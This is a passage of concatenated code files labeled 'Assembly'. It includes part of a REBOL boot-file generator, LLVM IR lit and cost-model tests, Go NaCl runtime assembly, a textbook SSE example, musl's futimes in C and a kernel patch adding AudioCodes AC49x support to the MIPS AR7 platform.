// the text after it is decompressed (this is redundant with
// information saved by DEFLATE, but having it twice provides a
// redundant sanity check on the compression and decompression)
}
]
emit ["const REBYTE Native_Specs[" 4 + length? comp-data "] = {^/^-"]
;-- Prefix with the length
data-len-bin: to binary! length? data
assert [parse data-len-bin [4 #{00} 4 skip]] ;-- See CC #2064
emit binary-to-c reverse (skip data-len-bin 4)
;-- Convert UTF-8 binary to C-encoded string:
emit binary-to-c comp-data
emit-end/easy
write src/b-boot.c out
;-- Output stats:
print [
"Compressed" length? data "to" length? comp-data "bytes:"
to-integer ((length? comp-data) / (length? data) * 100)
"percent of original"
]
;-- Create platform string:
;platform: to-string platform
;lowercase platform
;if platform-data/type = 'windows [ ; Why?? Not sure.
; product: to-string product
; lowercase product
; replace/all product "-" ""
;]
;;dir: to-file rejoin [%../to- platform "/" product "/temp/"]
;----------------------------------------------------------------------------
;
; Boot.h - Boot header file
;
;----------------------------------------------------------------------------
emit-head "Bootstrap Structure and Root Module" %boot.h
emit [
{
#define MAX_NATS } nat-count {
#define NAT_SPEC_SIZE } length? comp-data {
#define CHECK_TITLE } checksum to binary! title {
extern const REBYTE Native_Specs[];
extern const REBFUN Native_Funcs[];
typedef struct REBOL_Boot_Block ^{
}
]
foreach word sections [
word: form word
remove/part word 5 ; boot_
emit-line/code "REBVAL " word ";"
]
emit "} BOOT_BLK;"
;-------------------
emit [
{
//**** ROOT Context (Root Module):
typedef struct REBOL_Root_Context ^{
}
]
foreach word boot-root [
emit-line/code "REBVAL " word ";"
]
emit ["} ROOT_CTX;" lf lf]
n: 0
foreach word boot-root [
emit-line/define "#define ROOT_" word join "(&Root_Context->" [lowercase replace/all form word #"-" #"_" ")"]
n: n + 1
]
emit ["#define ROOT_MAX " n lf]
;-------------------
emit [
{
//**** Task Context
typedef struct REBOL_Task_Context ^{
}
]
foreach word boot-task [
emit-line/code "REBVAL " word ";"
]
emit ["} TASK_CTX;" lf lf]
n: 0
foreach word boot-task [
emit-line/define "#define TASK_" word join "(&Task_Context->" [lowercase replace/all form word #"-" #"_" ")"]
n: n + 1
]
emit ["#define TASK_MAX " n lf]
write inc/tmp-boot.h out
;print ask "-DONE-"
;wait .3
print " "
|
{
"language": "Assembly"
}
|
; RUN: opt -licm -S < %s | FileCheck %s
define void @f() {
; CHECK-LABEL: @f(
entry:
br label %bb0
bb0:
%tobool7 = icmp eq i1 undef, undef
br label %bb1
bb1:
br i1 undef, label %bb0, label %bb0
unreachable:
; CHECK-LABEL: unreachable:
; CHECK: br i1 undef, label %unreachable, label %unreachable
br i1 %tobool7, label %unreachable, label %unreachable
bb3:
unreachable
}
|
{
"language": "Assembly"
}
|
; RUN: llc < %s -march=r600 -mcpu=redwood -filetype=obj | llvm-readobj -s - | FileCheck --check-prefix=ELF-CHECK %s
; RUN: llc < %s -march=r600 -mcpu=redwood -o - | FileCheck --check-prefix=CONFIG-CHECK %s
; ELF-CHECK: Format: ELF32
; ELF-CHECK: Name: .AMDGPU.config
; CONFIG-CHECK: .section .AMDGPU.config
; CONFIG-CHECK-NEXT: .long 166100
; CONFIG-CHECK-NEXT: .long 2
; CONFIG-CHECK-NEXT: .long 165900
; CONFIG-CHECK-NEXT: .long 0
define void @test(float addrspace(1)* %out, i32 %p) {
%i = add i32 %p, 2
%r = bitcast i32 %i to float
store float %r, float addrspace(1)* %out
ret void
}
|
{
"language": "Assembly"
}
|
global-include *.xls
global-include *.py
global-include *.txt
global-include *.sqlite
global-include *.svg
global-include *.json
global-include *.js
global-include *.html
global-include *.css
global-include *.csv
global-include *.png
global-include *.jpg
global-include *.gif
global-include *.otf
global-include *.ttf
global-include *.sh
global-include *.ico
global-include *.rst
|
{
"language": "Assembly"
}
|
glabel test
lw $v1, 4($a0)
addiu $v0, $v1, 1
lw $v1, 4($a1)
addu $v0, $v0, $v1
addiu $v1, $a1, 1
addu $v0, $v0, $v1
jr $ra
nop
|
{
"language": "Assembly"
}
|
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
#include "zasm_GOOS_GOARCH.h"
#include "textflag.h"
#include "syscall_nacl.h"
#define NACL_SYSCALL(code) \
MOVL $(0x10000 + ((code)<<5)), AX; CALL AX
TEXT runtime·settls(SB),NOSPLIT,$0
MOVL DI, TLS // really BP
RET
TEXT runtime·exit(SB),NOSPLIT,$0
MOVL code+0(FP), DI
NACL_SYSCALL(SYS_exit)
RET
TEXT runtime·exit1(SB),NOSPLIT,$0
MOVL code+0(FP), DI
NACL_SYSCALL(SYS_thread_exit)
RET
TEXT runtime·open(SB),NOSPLIT,$0
MOVL name+0(FP), DI
MOVL mode+4(FP), SI
MOVL perm+8(FP), DX
NACL_SYSCALL(SYS_open)
MOVL AX, ret+16(FP)
RET
TEXT runtime·close(SB),NOSPLIT,$0
MOVL fd+0(FP), DI
NACL_SYSCALL(SYS_close)
MOVL AX, ret+8(FP)
RET
TEXT runtime·read(SB),NOSPLIT,$0
MOVL fd+0(FP), DI
MOVL p+4(FP), SI
MOVL n+8(FP), DX
NACL_SYSCALL(SYS_read)
MOVL AX, ret+16(FP)
RET
TEXT syscall·naclWrite(SB), NOSPLIT, $24-20
MOVL arg1+0(FP), DI
MOVL arg2+4(FP), SI
MOVL arg3+8(FP), DX
MOVL DI, 0(SP)
MOVL SI, 4(SP)
MOVL DX, 8(SP)
CALL runtime·write(SB)
MOVL 16(SP), AX
MOVL AX, ret+16(FP)
RET
TEXT runtime·write(SB),NOSPLIT,$16-20
// If using fake time and writing to stdout or stderr,
// emit playback header before actual data.
MOVQ runtime·faketime(SB), AX
CMPQ AX, $0
JEQ write
MOVL fd+0(FP), DI
CMPL DI, $1
JEQ playback
CMPL DI, $2
JEQ playback
write:
// Ordinary write.
MOVL fd+0(FP), DI
MOVL p+4(FP), SI
MOVL n+8(FP), DX
NACL_SYSCALL(SYS_write)
MOVL AX, ret+16(FP)
RET
// Write with playback header.
// First, lock to avoid interleaving writes.
playback:
MOVL $1, BX
XCHGL runtime·writelock(SB), BX
CMPL BX, $0
JNE playback
// Playback header: 0 0 P B <8-byte time> <4-byte data length>
MOVL $(('B'<<24) | ('P'<<16)), 0(SP)
BSWAPQ AX
MOVQ AX, 4(SP)
MOVL n+8(FP), DX
BSWAPL DX
MOVL DX, 12(SP)
MOVL $1, DI // standard output
MOVL SP, SI
MOVL $16, DX
NACL_SYSCALL(SYS_write)
// Write actual data.
MOVL $1, DI // standard output
MOVL p+4(FP), SI
MOVL n+8(FP), DX
NACL_SYSCALL(SYS_write)
// Unlock.
MOVL $0, runtime·writelock(SB)
MOVL AX, ret+16(FP)
RET
TEXT runtime·nacl_exception_stack(SB),NOSPLIT,$0
MOVL p+0(FP), DI
MOVL size+4(FP), SI
NACL_SYSCALL(SYS_exception_stack)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_exception_handler(SB),NOSPLIT,$0
MOVL fn+0(FP), DI
MOVL arg+4(FP), SI
NACL_SYSCALL(SYS_exception_handler)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_sem_create(SB),NOSPLIT,$0
MOVL flag+0(FP), DI
NACL_SYSCALL(SYS_sem_create)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_sem_wait(SB),NOSPLIT,$0
MOVL sem+0(FP), DI
NACL_SYSCALL(SYS_sem_wait)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_sem_post(SB),NOSPLIT,$0
MOVL sem+0(FP), DI
NACL_SYSCALL(SYS_sem_post)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_mutex_create(SB),NOSPLIT,$0
MOVL flag+0(FP), DI
NACL_SYSCALL(SYS_mutex_create)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_mutex_lock(SB),NOSPLIT,$0
MOVL mutex+0(FP), DI
NACL_SYSCALL(SYS_mutex_lock)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_mutex_trylock(SB),NOSPLIT,$0
MOVL mutex+0(FP), DI
NACL_SYSCALL(SYS_mutex_trylock)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_mutex_unlock(SB),NOSPLIT,$0
MOVL mutex+0(FP), DI
NACL_SYSCALL(SYS_mutex_unlock)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_cond_create(SB),NOSPLIT,$0
MOVL flag+0(FP), DI
NACL_SYSCALL(SYS_cond_create)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_cond_wait(SB),NOSPLIT,$0
MOVL cond+0(FP), DI
MOVL n+4(FP), SI
NACL_SYSCALL(SYS_cond_wait)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_cond_signal(SB),NOSPLIT,$0
MOVL cond+0(FP), DI
NACL_SYSCALL(SYS_cond_signal)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_cond_broadcast(SB),NOSPLIT,$0
MOVL cond+0(FP), DI
NACL_SYSCALL(SYS_cond_broadcast)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nacl_cond_timed_wait_abs(SB),NOSPLIT,$0
MOVL cond+0(FP), DI
MOVL lock+4(FP), SI
MOVL ts+8(FP), DX
NACL_SYSCALL(SYS_cond_timed_wait_abs)
MOVL AX, ret+16(FP)
RET
TEXT runtime·nacl_thread_create(SB),NOSPLIT,$0
MOVL fn+0(FP), DI
MOVL stk+4(FP), SI
MOVL tls+8(FP), DX
MOVL xx+12(FP), CX
NACL_SYSCALL(SYS_thread_create)
MOVL AX, ret+16(FP)
RET
TEXT runtime·mstart_nacl(SB),NOSPLIT,$0
NACL_SYSCALL(SYS_tls_get)
SUBL $8, AX
MOVL AX, TLS
JMP runtime·mstart(SB)
TEXT runtime·nacl_nanosleep(SB),NOSPLIT,$0
MOVL ts+0(FP), DI
MOVL extra+4(FP), SI
NACL_SYSCALL(SYS_nanosleep)
MOVL AX, ret+8(FP)
RET
TEXT runtime·osyield(SB),NOSPLIT,$0
NACL_SYSCALL(SYS_sched_yield)
RET
TEXT runtime·mmap(SB),NOSPLIT,$8
MOVL addr+0(FP), DI
MOVL n+4(FP), SI
MOVL prot+8(FP), DX
MOVL flags+12(FP), CX
MOVL fd+16(FP), R8
MOVL off+20(FP), AX
MOVQ AX, 0(SP)
MOVL SP, R9
NACL_SYSCALL(SYS_mmap)
CMPL AX, $-4095
JNA 2(PC)
NEGL AX
MOVL AX, ret+24(FP)
RET
TEXT time·now(SB),NOSPLIT,$16
MOVQ runtime·faketime(SB), AX
CMPQ AX, $0
JEQ realtime
MOVQ $0, DX
MOVQ $1000000000, CX
DIVQ CX
MOVQ AX, sec+0(FP)
MOVL DX, nsec+8(FP)
RET
realtime:
MOVL $0, DI // real time clock
LEAL 0(SP), AX
MOVL AX, SI // timespec
NACL_SYSCALL(SYS_clock_gettime)
MOVL 0(SP), AX // low 32 sec
MOVL 4(SP), CX // high 32 sec
MOVL 8(SP), BX // nsec
// sec is in AX, nsec in BX
MOVL AX, sec+0(FP)
MOVL CX, sec+4(FP)
MOVL BX, nsec+8(FP)
RET
TEXT syscall·now(SB),NOSPLIT,$0
JMP time·now(SB)
TEXT runtime·nacl_clock_gettime(SB),NOSPLIT,$0
MOVL arg1+0(FP), DI
MOVL arg2+4(FP), SI
NACL_SYSCALL(SYS_clock_gettime)
MOVL AX, ret+8(FP)
RET
TEXT runtime·nanotime(SB),NOSPLIT,$16
MOVQ runtime·faketime(SB), AX
CMPQ AX, $0
JEQ 3(PC)
MOVQ AX, ret+0(FP)
RET
MOVL $0, DI // real time clock
LEAL 0(SP), AX
MOVL AX, SI // timespec
NACL_SYSCALL(SYS_clock_gettime)
MOVQ 0(SP), AX // sec
MOVL 8(SP), DX // nsec
// sec is in AX, nsec in DX
// return nsec in AX
IMULQ $1000000000, AX
ADDQ DX, AX
MOVQ AX, ret+0(FP)
RET
TEXT runtime·sigtramp(SB),NOSPLIT,$80
// restore TLS register at time of execution,
// in case it's been smashed.
// the TLS register is really BP, but for consistency
// with non-NaCl systems it is referred to here as TLS.
// NOTE: Cannot use SYS_tls_get here (like we do in mstart_nacl),
// because the main thread never calls tls_set.
LEAL ctxt+0(FP), AX
MOVL (16*4+5*8)(AX), AX
MOVL AX, TLS
// check that g exists
get_tls(CX)
MOVL g(CX), DI
CMPL DI, $0
JEQ nog
// save g
MOVL DI, 20(SP)
// g = m->gsignal
MOVL g_m(DI), BX
MOVL m_gsignal(BX), BX
MOVL BX, g(CX)
//JMP debughandler
// copy arguments for sighandler
MOVL $11, 0(SP) // signal
MOVL $0, 4(SP) // siginfo
LEAL ctxt+0(FP), AX
MOVL AX, 8(SP) // context
MOVL DI, 12(SP) // g
CALL runtime·sighandler(SB)
// restore g
get_tls(CX)
MOVL 20(SP), BX
MOVL BX, g(CX)
sigtramp_ret:
// Enable exceptions again.
NACL_SYSCALL(SYS_exception_clear_flag)
// Restore registers as best we can. Impossible to do perfectly.
// See comment in sys_nacl_386.s for extended rationale.
LEAL ctxt+0(FP), SI
ADDL $64, SI
MOVQ 0(SI), AX
MOVQ 8(SI), CX
MOVQ 16(SI), DX
MOVQ 24(SI), BX
MOVL 32(SI), SP // MOVL for SP sandboxing
// 40(SI) is saved BP aka TLS, already restored above
// 48(SI) is saved SI, never to be seen again
MOVQ 56(SI), DI
MOVQ 64(SI), R8
MOVQ 72(SI), R9
MOVQ 80(SI), R10
MOVQ 88(SI), R11
MOVQ 96(SI), R12
MOVQ 104(SI), R13
MOVQ 112(SI), R14
// 120(SI) is R15, which is owned by Native Client and must not be modified
MOVQ 128(SI), SI // saved PC
// 136(SI) is saved EFLAGS, never to be seen again
JMP SI
debughandler:
// print basic information
LEAL ctxt+0(FP), DI
MOVL $runtime·sigtrampf(SB), AX
MOVL AX, 0(SP)
MOVQ (16*4+16*8)(DI), BX // rip
MOVQ BX, 8(SP)
MOVQ (16*4+0*8)(DI), BX // rax
MOVQ BX, 16(SP)
MOVQ (16*4+1*8)(DI), BX // rcx
MOVQ BX, 24(SP)
MOVQ (16*4+2*8)(DI), BX // rdx
MOVQ BX, 32(SP)
MOVQ (16*4+3*8)(DI), BX // rbx
MOVQ BX, 40(SP)
MOVQ (16*4+7*8)(DI), BX // rdi
MOVQ BX, 48(SP)
MOVQ (16*4+15*8)(DI), BX // r15
MOVQ BX, 56(SP)
MOVQ (16*4+4*8)(DI), BX // rsp
MOVQ 0(BX), BX
MOVQ BX, 64(SP)
CALL runtime·printf(SB)
LEAL ctxt+0(FP), DI
MOVQ (16*4+16*8)(DI), BX // rip
MOVL BX, 0(SP)
MOVQ (16*4+4*8)(DI), BX // rsp
MOVL BX, 4(SP)
MOVL $0, 8(SP) // lr
get_tls(CX)
MOVL g(CX), BX
MOVL BX, 12(SP) // gp
CALL runtime·traceback(SB)
notls:
MOVL 0, AX
RET
nog:
MOVL 0, AX
RET
// cannot do real signal handling yet, because gsignal has not been allocated.
MOVL $1, DI; NACL_SYSCALL(SYS_exit)
TEXT runtime·nacl_sysinfo(SB),NOSPLIT,$16
/*
MOVL di+0(FP), DI
LEAL 12(DI), BX
MOVL 8(DI), AX
ADDL 4(DI), AX
ADDL $2, AX
LEAL (BX)(AX*4), BX
MOVL BX, runtime·nacl_irt_query(SB)
auxloop:
MOVL 0(BX), DX
CMPL DX, $0
JNE 2(PC)
RET
CMPL DX, $32
JEQ auxfound
ADDL $8, BX
JMP auxloop
auxfound:
MOVL 4(BX), BX
MOVL BX, runtime·nacl_irt_query(SB)
LEAL runtime·nacl_irt_basic_v0_1_str(SB), DI
LEAL runtime·nacl_irt_basic_v0_1(SB), SI
MOVL runtime·nacl_irt_basic_v0_1_size(SB), DX
MOVL runtime·nacl_irt_query(SB), BX
CALL BX
LEAL runtime·nacl_irt_memory_v0_3_str(SB), DI
LEAL runtime·nacl_irt_memory_v0_3(SB), SI
MOVL runtime·nacl_irt_memory_v0_3_size(SB), DX
MOVL runtime·nacl_irt_query(SB), BX
CALL BX
LEAL runtime·nacl_irt_thread_v0_1_str(SB), DI
LEAL runtime·nacl_irt_thread_v0_1(SB), SI
MOVL runtime·nacl_irt_thread_v0_1_size(SB), DX
MOVL runtime·nacl_irt_query(SB), BX
CALL BX
// TODO: Once we have a NaCl SDK with futex syscall support,
// try switching to futex syscalls and here load the
// nacl-irt-futex-0.1 table.
*/
RET
|
{
"language": "Assembly"
}
|
# Program 8.4
# SSE Packed Operations - GAS, Clang/LLVM on Linux (32-bit)
# Copyright (c) 2017 Hall & Slonka
.data
.balign 16 # 16-byte alignment
vectorA: .float 1.2, 3.4, 5.6, 7.8
vectorB: .float 7.8, 5.6, 3.4, 1.2
.bss
.lcomm result, 128 # space for storing results
.text
.globl _main
_main:
movaps vectorA, %xmm0 # move aligned packed SP vectorA to XMM0
addps vectorB, %xmm0 # add vectorB to XMM0
movaps %xmm0, result # move data to result
movl $1, %eax
movl $0, %ebx
int $0x80
.end
|
{
"language": "Assembly"
}
|
#define _GNU_SOURCE
#include <sys/stat.h>
#include <sys/time.h>
int futimes(int fd, const struct timeval tv[2])
{
struct timespec times[2];
if (!tv) return futimens(fd, 0);
times[0].tv_sec = tv[0].tv_sec;
times[0].tv_nsec = tv[0].tv_usec * 1000;
times[1].tv_sec = tv[1].tv_sec;
times[1].tv_nsec = tv[1].tv_usec * 1000;
return futimens(fd, times);
}
|
{
"language": "Assembly"
}
|
--- a/arch/mips/ar7/Platform
+++ b/arch/mips/ar7/Platform
@@ -3,4 +3,9 @@
#
platform-$(CONFIG_AR7) += ar7/
cflags-$(CONFIG_AR7) += -I$(srctree)/arch/mips/include/asm/mach-ar7
-load-$(CONFIG_AR7) += 0xffffffff94100000
+load-$(CONFIG_AR7_TI) += 0xffffffff94100000
+
+#
+# AudioCodes AC49x
+#
+load-$(CONFIG_AR7_AC49X) += 0xffffffff945ca000
--- a/arch/mips/ar7/setup.c
+++ b/arch/mips/ar7/setup.c
@@ -68,6 +68,10 @@ const char *get_system_type(void)
return "TI AR7 (TNETV1056)";
case TITAN_CHIP_1060:
return "TI AR7 (TNETV1060)";
+ case TITAN_CHIP_AC495:
+ return "AudioCodes AC495";
+ case TITAN_CHIP_AC496:
+ return "AudioCodes AC496";
}
default:
return "TI AR7 (unknown)";
--- a/arch/mips/include/asm/mach-ar7/ar7.h
+++ b/arch/mips/include/asm/mach-ar7/ar7.h
@@ -92,6 +92,8 @@
#define TITAN_CHIP_1055 0x0e
#define TITAN_CHIP_1056 0x0d
#define TITAN_CHIP_1060 0x07
+#define TITAN_CHIP_AC495 0x00
+#define TITAN_CHIP_AC496 0x02
/* Interrupts */
#define AR7_IRQ_UART0 15
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -161,7 +161,7 @@ config AR7
select HAVE_CLK
help
Support for the Texas Instruments AR7 System-on-a-Chip
- family: TNETD7100, 7200 and 7300.
+ family: TI TNETD7100, 7200, 7300 and AudioCodes AC49x.
config ATH25
bool "Atheros AR231x/AR531x SoC support"
@@ -1005,6 +1005,7 @@ config MIPS_PARAVIRT
endchoice
source "arch/mips/alchemy/Kconfig"
+source "arch/mips/ar7/Kconfig"
source "arch/mips/ath25/Kconfig"
source "arch/mips/ath79/Kconfig"
source "arch/mips/bcm47xx/Kconfig"
--- /dev/null
+++ b/arch/mips/ar7/Kconfig
@@ -0,0 +1,26 @@
+if AR7
+
+config AR7_TI
+ bool
+
+config AR7_AC49X
+ bool
+
+choice
+ prompt "AR7 SoC family selection"
+ default AR7_TYPE_TI
+ depends on AR7
+ help
+ Select AR7 MIPS SoC implementation.
+
+ config AR7_TYPE_TI
+ bool "Texas Instruments AR7"
+ select AR7_TI
+
+ config AR7_TYPE_AC49X
+ bool "AudioCodes AC49X"
+ select AR7_AC49X
+
+endchoice
+
+endif
|
{
"language": "Assembly"
}
|
; NOTE: Assertions have been autogenerated by utils/update_analyze_test_checks.py
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+sse2 | FileCheck %s -check-prefixes=CHECK,SSE,SSE2
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+ssse3 | FileCheck %s -check-prefixes=CHECK,SSE,SSSE3
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+sse4.2 | FileCheck %s -check-prefixes=CHECK,SSE,SSE42
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+avx | FileCheck %s -check-prefixes=CHECK,AVX,AVX1
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+avx2 | FileCheck %s -check-prefixes=CHECK,AVX,AVX2
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+avx512f | FileCheck %s --check-prefixes=CHECK,AVX512,AVX512F
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+avx512f,+avx512bw | FileCheck %s --check-prefixes=CHECK,AVX512,AVX512BW
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mattr=+avx512f,+avx512bw,+avx512vbmi | FileCheck %s --check-prefixes=CHECK,AVX512,AVX512VBMI
;
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mcpu=slm | FileCheck %s --check-prefixes=CHECK,SSE,SSE42
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mcpu=goldmont | FileCheck %s --check-prefixes=CHECK,SSE,SSE42
; RUN: opt < %s -mtriple=x86_64-unknown-linux-gnu -cost-model -analyze -mcpu=btver2 | FileCheck %s --check-prefixes=BTVER2
;
; Verify the cost model for reverse shuffles.
;
define void @test_vXf64(<2 x double> %src128, <4 x double> %src256, <8 x double> %src512) {
; SSE-LABEL: 'test_vXf64'
; SSE-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x double> %src128, <2 x double> undef, <2 x i32> <i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <4 x double> %src256, <4 x double> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <8 x double> %src512, <8 x double> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX1-LABEL: 'test_vXf64'
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x double> %src128, <2 x double> undef, <2 x i32> <i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <4 x double> %src256, <4 x double> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <8 x double> %src512, <8 x double> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX2-LABEL: 'test_vXf64'
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x double> %src128, <2 x double> undef, <2 x i32> <i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <4 x double> %src256, <4 x double> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V512 = shufflevector <8 x double> %src512, <8 x double> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512-LABEL: 'test_vXf64'
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x double> %src128, <2 x double> undef, <2 x i32> <i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <4 x double> %src256, <4 x double> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <8 x double> %src512, <8 x double> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; BTVER2-LABEL: 'test_vXf64'
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x double> %src128, <2 x double> undef, <2 x i32> <i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <4 x double> %src256, <4 x double> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <8 x double> %src512, <8 x double> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
%V128 = shufflevector <2 x double> %src128, <2 x double> undef, <2 x i32> <i32 1, i32 0>
%V256 = shufflevector <4 x double> %src256, <4 x double> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
%V512 = shufflevector <8 x double> %src512, <8 x double> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
ret void
}
define void @test_vXi64(<2 x i64> %src128, <4 x i64> %src256, <8 x i64> %src512) {
; SSE-LABEL: 'test_vXi64'
; SSE-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x i64> %src128, <2 x i64> undef, <2 x i32> <i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <4 x i64> %src256, <4 x i64> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <8 x i64> %src512, <8 x i64> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; SSE-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX1-LABEL: 'test_vXi64'
; AVX1-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x i64> %src128, <2 x i64> undef, <2 x i32> <i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <4 x i64> %src256, <4 x i64> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <8 x i64> %src512, <8 x i64> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX1-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX2-LABEL: 'test_vXi64'
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x i64> %src128, <2 x i64> undef, <2 x i32> <i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <4 x i64> %src256, <4 x i64> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V512 = shufflevector <8 x i64> %src512, <8 x i64> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; AVX512-LABEL: 'test_vXi64'
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x i64> %src128, <2 x i64> undef, <2 x i32> <i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V256 = shufflevector <4 x i64> %src256, <4 x i64> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V512 = shufflevector <8 x i64> %src512, <8 x i64> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; AVX512-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
; BTVER2-LABEL: 'test_vXi64'
; BTVER2-NEXT: Cost Model: Found an estimated cost of 1 for instruction: %V128 = shufflevector <2 x i64> %src128, <2 x i64> undef, <2 x i32> <i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 2 for instruction: %V256 = shufflevector <4 x i64> %src256, <4 x i64> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 4 for instruction: %V512 = shufflevector <8 x i64> %src512, <8 x i64> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
; BTVER2-NEXT: Cost Model: Found an estimated cost of 0 for instruction: ret void
;
%V128 = shufflevector <2 x i64> %src128, <2 x i64> undef, <2 x i32> <i32 1, i32 0>
%V256 = shufflevector <4 x i64> %src256, <4 x i64> undef, <4 x i32> <i32 3, i32 2, i32 1, i32 0>
%V512 = shufflevector <8 x i64> %src512, <8 x i64> undef, <8 x i32> <i32 7, i32 6, i32 5, i32 4, i32 3, i32 2, i32 1, i32 0>
ret void
}
define void @test_vXf32(<2 x float> %src64, <4 x float> %src128, <8 x float> %src256, <16 x float> %src512) {
; SSE-LABEL: 'test_vXf32'
